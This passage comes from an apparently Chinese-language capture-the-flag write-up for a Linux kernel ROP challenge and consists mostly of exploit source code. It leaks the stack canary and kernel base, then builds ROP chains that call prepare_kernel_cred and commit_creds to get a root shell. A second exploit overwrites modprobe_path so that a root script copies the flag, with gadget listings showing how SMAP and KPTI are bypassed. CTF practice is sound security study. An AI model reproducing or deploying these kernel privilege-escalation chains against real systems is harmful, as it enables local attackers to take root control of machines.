payload[off++] = 0;// dummy rax
payload[off++] = 0;// dummy rdi
payload[off++] = f;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
wtk(payload, off * 8);
Done("read_from_addr_primitive");
}
void fn_rdi_ret_primitive(void (*fn)(), u64 rdi, void (*ret)()){
u64 payload[0x40];
u64 off = 16;
payload[off++] = canary;
payload[off++] = 0;// rbx
payload[off++] = 0;// r12
payload[off++] = 0;// rbp
payload[off++] = pop_rdi_rbp_ret;
payload[off++] = rdi;
payload[off++] = 0;
payload[off++] = fn;
payload[off++] = kpti_trampoline;
payload[off++] = 0;// dummy rax
payload[off++] = 0;// dummy rdi
payload[off++] = ret;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
wtk(payload, off * 8);
Done("fn_rdi_ret_primitive");
}
u64 pkc;
void get_cc_addr();
void get_pkc_addr(){
__asm__ __volatile__(
".intel_syntax noprefix;"
"mov tmp_rax, rax;"
".att_syntax;"
);
pkc = ksymtab_prepare_kernel_cred + (int)tmp_rax;
Dbg(" --> pkc tmp_rax is 0x%x",(int) tmp_rax);
Info(" --> pkc is 0x%lx", pkc);
rfap(ksymtab_commit_creds, get_cc_addr);
Done("get_pkc_addr");
}
u64 cc;
// TODO: dont put any output in head to destory rax
void done_pkc();
void get_cc_addr(){
__asm__ __volatile__(
".intel_syntax noprefix;"
"mov tmp_rax, rax;"
".att_syntax;"
);
cc = ksymtab_commit_creds + (int)tmp_rax;
Dbg(" --> cc tmp_rax is 0x%x",tmp_rax);
Info(" --> cc is 0x%lx", cc);
frrp(pkc, NULL, done_pkc);
Done("get_cc_addr");
}
u64 cc_struct;
void done_pkc(){
__asm__ __volatile__(
".intel_syntax noprefix;"
"mov tmp_rax, rax;"
".att_syntax;"
);
cc_struct = tmp_rax;
Info(" --> cc_struct is 0x%lx", cc_struct);
frrp(cc, cc_struct, sh);
}
void (*rfap)(char *, void (*)()) = read_from_addr_primitive;
void (*frrp)(void (*)(), u64, void (*)()) = fn_rdi_ret_primitive;
int main(){
saveState();
open_dev();
leak();
rfap(ksymtab_prepare_kernel_cred, get_pkc_addr);
}

# exp2

  • modprobe_path 不再赘述
    这个是.data 节的数据 到内核基址的偏移也是确定的,另外先前也知道了 memcpy 在偏移不变的段内。ROP 覆写即可
1
2
3
4
5
6
7
/ # cat /proc/kallsyms | grep memcpy
ffffffff81007c60 T __memcpy_mcsafe
ffffffff8100dd60 T __memcpy
ffffffff8100dd60 W memcpy

/ # cat /proc/kallsyms | grep modprobe_path
ffffffff82061820 D modprobe_path

不过由于 SMAP 的缘故,memcpy 不能用,只能找写入的 gadget。

1
2
3
4
5
gef➤  x/10i 0x306d+0xffffffff81000000
0xffffffff8100306d: mov QWORD PTR [rbx],rax
0xffffffff81003070: pop rbx
0xffffffff81003071: pop rbp
0xffffffff81003072: ret

这样就还需要一个控制 rbx 的 gadget,rax 写成 /tmp/s , rbx 写成 modprobe_path 的地址,控制 rax 的 exp1 里已经有了。

1
2
3
4
5
gef➤  x/10i 0x3190+0xffffffff81000000
0xffffffff81003190: pop rbx
0xffffffff81003191: pop r12
0xffffffff81003193: pop rbp
0xffffffff81003194: ret

那么 exp2 就很简单了。注意 /tmp/s 不要太长 不然就和后面的字符串拼接上了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
u64 kernel_base              = 0xffffffff81000000;
u64 kpti_trampoline = 0x200f10+22;
u64 modprobe = 0x1061820;
u64 mov_ptr_rbx_rax_pop2_ret = 0x306d;
u64 pop_rbx_pop2_ret = 0x3190;
u64 pop_rax_ret = 0x4d11; // pop rax; ret
u64 tmp_rax;

void print_leak(u64 *p, u64 n){
for(u64 i = 0; i < n; i++){
if(p[i] & 0xffffffff81000000 == 0xffffffff81000000)
printf("p[%d] : 0x%lx\n", i, p[i]);
}
}
void leak(){
Info("leak");
char store[0x300];
rfk(store,0x1f0);
u64 *ptr = store;
Info(" --> canary is 0x%lx", ptr[2]);
canary = ptr[2];
kernel_base = ptr[38] - 0xa157;
Info(" --> kernel_base is 0x%lx",kernel_base);
modprobe += kernel_base;
mov_ptr_rbx_rax_pop2_ret += kernel_base;
pop_rbx_pop2_ret += kernel_base;
kpti_trampoline += kernel_base;
pop_rax_ret += kernel_base;
Done("leak");
}
void trigger_modprobe(){
Info("trigger_modprobe");
system(
"echo '#!/bin/sh\n"
"cp /flag /tmp/flag\n"
"chmod 777 /tmp/flag' > /tmp/s\n"
);
system("chmod +x /tmp/s");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
Info("Run unknown file");
system("/tmp/dummy");
system("cat /tmp/flag");
exit(0);
}
void overflow(){
u64 payload[0x40];
u64 off = 16;
payload[off++] = canary;
payload[off++] = 0;// rbx
payload[off++] = 0;// r12
payload[off++] = 0;// rbp
payload[off++] = pop_rbx_pop2_ret;
payload[off++] = modprobe;
payload[off++] = 0; // dummy
payload[off++] = 0; // dummy
payload[off++] = pop_rax_ret;
payload[off++] = 0x732f706d742f;// /tmp/s little-endian
payload[off++] = mov_ptr_rbx_rax_pop2_ret;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = kpti_trampoline;
payload[off++] = 0;// dummy rax
payload[off++] = 0;// dummy rdi
payload[off++] = trigger_modprobe;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
wtk(payload, off * 8);
Done("read_from_addr_primitive");
}

int main(){
saveState();
open_dev();
leak();
overflow();
}

# references

Learning Linux Kernel Exploitation - Part 1 - Midas Blog
2020 hxpctf kernel-rop_Ayakaaaa 的博客 - CSDN 博客
FGKASLR - CTF Wiki